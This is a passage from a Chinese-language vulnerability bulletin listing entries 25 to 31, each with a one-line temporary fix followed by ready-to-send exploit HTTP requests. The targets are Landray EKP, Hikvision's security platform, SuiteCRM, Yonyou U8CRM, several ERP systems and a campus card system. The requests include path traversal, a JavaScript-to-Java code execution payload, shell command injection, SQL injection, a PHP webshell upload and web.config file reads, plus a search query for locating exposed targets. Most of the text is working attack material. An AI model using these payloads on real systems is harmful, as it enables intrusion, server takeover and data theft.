(KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,i
mage/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: JSESSIONID=391295A33F5DA2F1DB07485CEC9602E8
Connection: close
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundaryS7jL1beJUXUUnhE8
Content-Length: 480
------WebKitFormBoundaryS7jL1beJUXUUnhE8
Content-Disposition: form-data; name="fj_file";filename=|$|"222.jpg"|$|
<jsp:root version="2.0" xmlns:jsp="http://java.sun.com/JSP/Page">
<jsp:directive.page contentType="text/html"/>
<jsp:directive.page pageEncoding="UTF-8"/>
jsp:scriptlet<![CDATA[
out.print(123456);

]]></jsp:scriptlet>
</jsp:root>
------WebKitFormBoundaryS7jL1beJUXUUnhE8—

25. 蓝凌 EKP 远程代码执行漏洞

临时修复建议：
使用防护类设备进行防护，限制访问/ekp/sys/ui/sys_ui_component/sysUiComponent.do 路径，拦截请求中出现的恶意 java 代码

- 如非必要，避免将资产暴露在互联网

详情信息：
1、移动目录

```
GET
/ekp/sys/ui/sys_ui_component/sysUiComponent.do?method=replaceExtend&ex
tendId=../../../../resource/help/km/review/&folderName=../../../ekp/sys/common
HTTP/1.1
Host:
```

2、利用 dataxml.jsp 执行任意代码

```
POST /ekp/resource/help/km/review/dataxml.jsp HTTP/1.1
Host:
Content-Type: application/x-www-form-urlencoded
s_bean=sysFormulaSimulateByJS&script=var x =
Function/**/('return(java.lang.Runtime.getRuntime())')();x.exec("calc.exe");var a =
mainOutput();function mainOutput() {};
```

26. 赛蓝企业管理系统 DownloadBuilder 任意文件读取漏洞

临时修复建议：
使用防护类设备进行防护，限制访问 /BaseModule/ReportManage/DownloadBuilder 路径，拦截请求中的../路径穿越字符

- 如非必要，避免将资产暴露在互联网

详情信息：

```
GET /BaseModule/ReportManage/DownloadBuilder?filename=/../web.config
HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:125.0)
Gecko/20100101 Firefox/125.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*
/*;q=0.8
Accept-Language:
zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
```

Connection: close

27. 海康威视综合安防管理平台 远程命令执行漏洞

临时修复建议：

- 使用防护类设备进行防护，限制访问/center/api/installation/detection 路径，拦截请求中出现的恶意命令注入
- 如非必要，避免将资产暴露在互联网

详情信息：

POST /center/api/installation/detection HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6)
AppleWebKit/537.36(KHTML, like Gecko) Chrome/105.0.1249.139 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,i
mage/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json;charset=UTF-8
{"type":"environment","operate":"","machines":{"id": "$(id >
/opt/hikvision/web/components/tomcat85linux64.1/webapps/vms/static/echo.t
xt)"}}

28. SuiteCRM responseEntryPoint SQL 注入漏洞

临时修复建议：

- 使用防护类设备进行防护，拦截请求中出现的恶意 SQL 语句
- 如非必要，避免将资产暴露在互联网

详情信息：

GET
/index.php?entryPoint=responseEntryPoint&event=1&delegate=a<"+UNION+S
ELECT+SLEEP(5);--+-&type=c&response=accept HTTP/1.1
Host:

29. 用友 U8CRM import.php 任意文件上传漏洞

临时修复建议：Page 26

- 使用防护类设备进行防护，限制访问/crmtools/tools/import.php 路径，拦截请求中出现的恶意 PHP 语句
- 如非必要，避免将资产暴露在互联网

详情信息：

```
POST /crmtools/tools/import.php?DontCheckLogin=1&issubmit=1 HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,i
mage/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundarye0z8QbHs79gL8vW5
Content-Length: 295
------WebKitFormBoundarye0z8QbHs79gL8vW5
Content-Disposition: form-data; name="xfile"; filename="1.xls"
<?php system("whoami");unlink(__FILE__);?>Page 27
------WebKitFormBoundarye0z8QbHs79gL8vW5
Content-Disposition: form-data; name="combo"
rce.php
------WebKitFormBoundarye0z8QbHs79gL8vW5—
```

30. (0day)天问物业 ERP 系统 ContractDownLoad.aspx 任意文件读取

```
GET /HM/M_Main/InformationManage/ContractDownLoad.aspx?ContractFile=../web.config
HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
```

31.科讯校园一卡通管理系统 多处 SQL 注入致 RCE 漏洞复现

科讯校园一卡通管理系统 get kq tj today、dormitoryHealthRanking 等多处接口存在 SQL 注入漏洞,未经身份验证的远程攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息(例如，管理员后台密码、站点的用户个人信息)之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。

FOFA

```
body="http://www.ahkxsoft.com/" && body="一卡通登录"
```